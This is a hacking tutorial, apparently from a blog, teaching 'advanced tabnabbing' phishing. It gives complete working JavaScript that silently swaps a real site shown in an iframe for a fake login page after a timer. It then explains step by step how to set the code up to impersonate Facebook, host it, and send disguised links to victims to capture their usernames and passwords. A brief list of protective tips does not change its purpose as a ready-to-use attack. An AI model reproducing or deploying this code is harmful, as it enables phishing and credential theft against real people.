Hey friends, i m back
base, i will explain things with practical example. So lets learn..
1. A hacker say(me Sam Idies) customizes current webpage by editing/adding some new
parameters and variables.( check the code below for details)
2. I sends a copy of this web page to victim whose account or whatever i want to hack.
3. Now when user opens that link, a webpage similar
to this one will open in iframe
containing the real page with the help of java script.
4. The user will be able to browse the website like the original one, like forward
backward and can navigate through pages.
5. Now if victim left the new webpage open for certain period of time, the tab or
website will change to Phish Page or simply called fake page which will look absolutely
similarly to original one.
6. Now when user enter his/her credentials (username/password), he is entering that in
Fake page and got trapped in our net that i have laid down to hack him.
Here end's the attack scenario for advanced tabnabbing.Before coding Part lets first share tips to protect yourself from this kind of attack
because its completely undetectable and you will never be able to know that your
account is got hacked or got compromised. So first learn how to protect our-self from
Advanced Tabnabbing.
Follow below measure to protect yourself from Tabnabbing:1. Always use anti-java script plugin's in your web browser that stops execution of
malicious javascripts. For example: Noscript for Firefox etc.
2. If you notice any suspicious things happening, then first of all verify the URL in the
address bar.
3. If you receive any link in the Email or chat message, never directly click on it. Always
prefer to type it manually in address bar to open it, this may cost you some manual
work or time but it will protect you from hidden malicious URL's.
4. Best way is to use any good web security toolbar like AVG web toolbar or Norton
web security toolbar to protect yourself from such attacks.
5. If you use ideveloper or Firebug, then verify the headers by yourself if you find
something suspicious.
That ends our security Part. Here ends my ethical hacker duty to notify all users about
the attack. Now lets start the real stuff..
Note: Aza Raskin was the first person to propose the technique of tabnabbing and still
we follow the same concept. I will just extend his concept to next level.
First sample code for doing tabnabbing with the help of iframes:
<!--
Title: Advanced Tabnabbing using IFRAMES and Java script
Author: Chris Defaulter Valentine ( Anonymous )
-->
<html>
<head><title></title></head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height:
100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y:
auto; overflow-x: hidden;}
</style>
<body>
Copyright www.cyber-worldd.blogspot.in
26
<script type="text/javascript">
//----------Set Script Options--------------
var REAL_PAGE_URL = "http://www.google.com/"; //This is the
"Real" page that is shown when the user first views this page
var REAL_PAGE_TITLE = "Google"; //This sets the title of the
"Real Page"
var FAKE_PAGE_URL = "http://www.hackingloops.com"; //Set this to
the url of the fake page
var FAKE_PAGE_TITLE = "HackingLoops| Next Generation Hackers
Portal"; //This sets the title of the fake page
var REAL_FAVICON = "http://www.google.com/favicon.ico"; //This
sets the favicon. It will not switch or clear the "Real"
favicon in IE.
var FAKE_FAVICON = "http://www.hackingloops.com/favicon.ico";
//Set's the fake favicon.
var TIME_TO_SWITCH_IE = "4000"; //Time before switch in Internet
Explorer (after tab changes to fake tab).
var TIME_TO_SWITCH_OTHERS = "10000"; //Wait this long before
switching .
//---------------End Options-----------------
var TIMER = null;
var SWITCHED = "false";
//Find Browser Type
var BROWSER_TYPE = "";
if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){
BROWSER_TYPE = "Internet Explorer";
Copyright www.cyber-worldd.blogspot.in
27
}
//Set REAL_PAGE_TITLE
document.title=REAL_PAGE_TITLE;
//Set FAVICON
if(REAL_FAVICON){
var link = document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = REAL_FAVICON;
document.getElementsByTagName('head')[0].appendChild(link);
}
//Create our iframe (tabnab)
var el_tabnab = document.createElement("iframe");
el_tabnab.id="tabnab";
el_tabnab.name="tabnab";
document.body.appendChild(el_tabnab);
el_tabnab.setAttribute('src', REAL_PAGE_URL);
//Focus on the iframe (just in case the user doesn't click on
it)
el_tabnab.focus();
//Wait to nab the tab!
if(BROWSER_TYPE=="Internet Explorer"){ //To unblur the tab
changes in Internet Web browser
Copyright www.cyber-worldd.blogspot.in
28
el_tabnab.onblur = function(){
TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE);
}
el_tabnab.onfocus= function(){
if(TIMER) clearTimeout(TIMER);
}
} else {
setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);
}
function TabNabIt(){
if(SWITCHED == "false"){
//Redirect the iframe to FAKE_PAGE_URL
el_tabnab.src=FAKE_PAGE_URL;
//Change title to FAKE_PAGE_TITLE and favicon to
FAKE_PAGE_FAVICON
if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE;
//Change the favicon -- This doesn't seem to work in IE
if(BROWSER_TYPE != "Internet Explorer"){
var links =
document.getElementsByTagName("head")[0].getElementsByTagName("l
ink");
for (var i=0; i<links.length; i++) {
var looplink = links[i];
if (looplink.type=="image/x-icon" && looplink.rel=="shortcut
icon") {
document.getElementsByTagName("head")[0].removeChild(looplink);
}
}
var link = document.createElement("link");
link.type = "image/x-icon";
link.rel = "shortcut icon";
link.href = FAKE_FAVICON;
document.getElementsByTagName("head")[0].appendChild(link);
}
}
}
</script>
</body>
</html>
Now what you need to replace in this code to make it working say for Facebook:1. REAL_PAGE_URL : www.facebook.com
2. REAL_PAGE_TITLE : Welcome to Facebook - Log In, Sign Up or Learn More
3. FAKE_PAGE_URL : Your Fake Page or Phish Page URL
4. FAKE_PAGE_TITLE : Welcome to Facebook - Log In, Sign Up or Learn More
5. REAL_FAVICON : www.facebook.com/favicon.ico
6. FAKE_FAVICON : Your Fake Page URL/favicon.ico ( Note: Its better to upload the
facebook favicon, it will make it more undetectable)
7. BROWSER_TYPE : Find which web browser normally user uses and put that name
here in quotes.
8. TIME_TO_SWITCH_IE : Put numeric value (time) after you want tab to switch.
9. TIME_TO_SWITCH_OTHERS : Time after which you want to switch back to original
'real' page or some other Page.
Now as i have explained earlier you can use this technique to hack anything like email
accounts, Facebook or any other social networking website. What you need to do is that
just edit the above mentioned 9 fields and save it as anyname.htm and upload it any
free web hosting website along with favicon file and send the link to user in form of email
or chat message ( hidden using href keyword in html or spoofed using some other
technique).
.png)
.png)
.png)
.png)
.jpg)
+2.jpg)
+3.jpg)
+4.png)
